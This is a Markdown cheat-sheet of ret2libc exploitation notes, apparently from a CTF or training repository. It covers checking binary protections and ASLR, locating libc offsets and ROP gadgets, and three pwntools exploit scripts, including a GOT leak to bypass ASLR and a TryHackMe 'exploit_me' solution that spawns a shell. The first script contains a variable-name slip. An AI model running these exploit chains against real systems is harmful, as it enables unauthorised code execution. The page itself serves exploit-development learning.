190 lines
4.0 KiB
Markdown
190 lines
4.0 KiB
Markdown
# Ret2libc
|
|
|
|
* [ir0nstone ret2libc](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/ret2libc)
|
|
|
|
* Check binary via
|
|
* `checksec`, PIE shows start address, RELRO shows permissions of r/w to got
|
|
* `file`
|
|
* Libc is affected by ASLR state of the machine, check via `cat /proc/sys/kernel/randomize_va_space`
|
|
* Off = 0
|
|
* Partial = 1
|
|
* Full = 2
|
|
* `got` contains dynamically loaded functions
|
|
* `plt` contains used loaded dynamical functions
|
|
|
|
## Finding something to execute
|
|
* Interesting stuff to call from inside libc
|
|
* `/bin/sh`
|
|
* `system`
|
|
|
|
## libc -- Finding Offsets
|
|
|
|
* Find libc address at runtime via gbd
|
|
```sh
|
|
info sharedlibrary
|
|
```
|
|
or statically via ldd
|
|
```sh
|
|
ldd ./<binary>
|
|
```
|
|
|
|
### Find offsets to gadgets in libc
|
|
|
|
* On target find `sh` address inside libc
|
|
```sh
|
|
strings -a -t x /lib32/libc.so.6 | grep /bin/sh
|
|
```
|
|
* Sub from `system` address from inside libc
|
|
```sh
|
|
readelf -s /lib32/libc.so.6 | grep system | awk '{print $2}'
|
|
```
|
|
|
|
* Pwntools can be used as well
|
|
```sh
|
|
libc = elf.libc
|
|
libc.address = 0x7ff83d8d000
|
|
system = libc.sym['system']
|
|
bin_sh = next(libc.search(b'/bin/sh'))
|
|
```
|
|
|
|
### Measure the Buffer
|
|
* With gef
|
|
* `pattern create`
|
|
* `run`
|
|
* Use pattern
|
|
* `pattern search $<register>`
|
|
|
|
## ROP -- Creating a Chain
|
|
|
|
* Creating a ROP chain to execute the `/bin/sh` with parameters
|
|
* Check
|
|
* Architecture
|
|
* Calling convention
|
|
|
|
### Manually
|
|
|
|
```sh
|
|
ROPgadget --binary <file> | grep rdi
|
|
```
|
|
* Find `ret`s, to put in front of rdi
|
|
```sh
|
|
objdump -d <file> | grep ret
|
|
```
|
|
|
|
## Automated
|
|
|
|
* [xct's ropstar](https://github.com/xct/ropstar.git)
|
|
|
|
## Examples
|
|
|
|
### Example without ASLR
|
|
|
|
```python
|
|
from pwn import *
|
|
|
|
p = process('<binary>')
|
|
|
|
cbase = 0x<libc_base>
|
|
sys = cbase + <libc_system>
|
|
sh = cbase + <libc_shell>
|
|
rop_rdi = <found rop rdi>
|
|
rop_ret = <found rop ret>
|
|
|
|
payload = b'A' * <count>
|
|
payload += b'B' * 8
|
|
payload += p64(rop_rdi)
|
|
payload += p64(sh)
|
|
payload += p64(0x0) # maybe rop_ret
|
|
payload += p64(system)
|
|
|
|
p.recv()
|
|
p.sendline(payload)
|
|
p.interactive()
|
|
```
|
|
|
|
### Example with ASLR
|
|
|
|
* Create context
|
|
```python
|
|
#!/usr/bin/env python3
|
|
|
|
from pwn import *
|
|
|
|
context.binary = binary = '<binary>'
|
|
elf = ELF(binary)
|
|
rop = ROP(elf)
|
|
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
|
|
p = process()
|
|
|
|
# ROP I, needed when ASLR is enabled
|
|
payload = b'A' * 18
|
|
payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])
|
|
payload += p64(elf.got.gets)
|
|
payload += p64(elf.plt.puts)
|
|
payload += p64(elf.symbols.main)
|
|
|
|
p.recvline()
|
|
p.sendline(payload)
|
|
p.recvline()
|
|
leak = u64(p.recvline().strip().ljust(8,b'\0')) # ljust, pre padding for alignement
|
|
p.recvline()
|
|
|
|
log.info(f"gets: {hex(leak)}")
|
|
libc.address = leak - libc.symbols.gets
|
|
log.info(f"libc address: {hex(libc.address)}") # start address should be aligned
|
|
|
|
# ROP II
|
|
payload = b'A' * 18
|
|
payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])
|
|
payload += p64(next(libc.search(b'/bin/sh')))
|
|
payload += p64(rop.find_gadget(['ret'])[0])
|
|
payload += p64(libc.symbols.system)
|
|
|
|
p.sendline(payload)
|
|
p.recvline()
|
|
p.interactive()
|
|
```
|
|
|
|
### Example: exploit_me
|
|
|
|
This is taken from [shoulderhu's gitbook](https://github.com/shoulderhu/gitbook-tryhackme/blob/master/walkthroughs/medium/ret2libc.md)
|
|
The libc base is found through a delta of the leaked value and libc gets symbol offset.
|
|
|
|
|
|
```python
|
|
from pwn import *
|
|
|
|
context.binary = binary = './exploit_me'
|
|
elf = ELF(binary)
|
|
rop = ROP(elf)
|
|
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
|
|
|
|
padding = b'A' * 18
|
|
payload = padding
|
|
payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])
|
|
payload += p64(elf.got.gets)
|
|
payload += p64(elf.plt.puts)
|
|
payload += p64(elf.symbols.main)
|
|
|
|
p = process()
|
|
p.recvline()
|
|
p.sendline(payload)
|
|
p.recvline()
|
|
leak = u64(p.recvline().strip().ljust(8, b'\0'))
|
|
p.recvline()
|
|
|
|
log.info(f'Gets leak => {hex(leak)}')
|
|
libc.address = leak - libc.symbols.gets
|
|
log.info(f'Libc base => {hex(libc.address)}')
|
|
|
|
payload = padding
|
|
payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])
|
|
payload += p64(next(libc.search(b'/bin/sh')))
|
|
payload += p64(rop.find_gadget(['ret'])[0])
|
|
payload += p64(libc.symbols.system)
|
|
|
|
p.sendline(payload)
|
|
p.recvline()
|
|
p.interactive()
|
|
```
|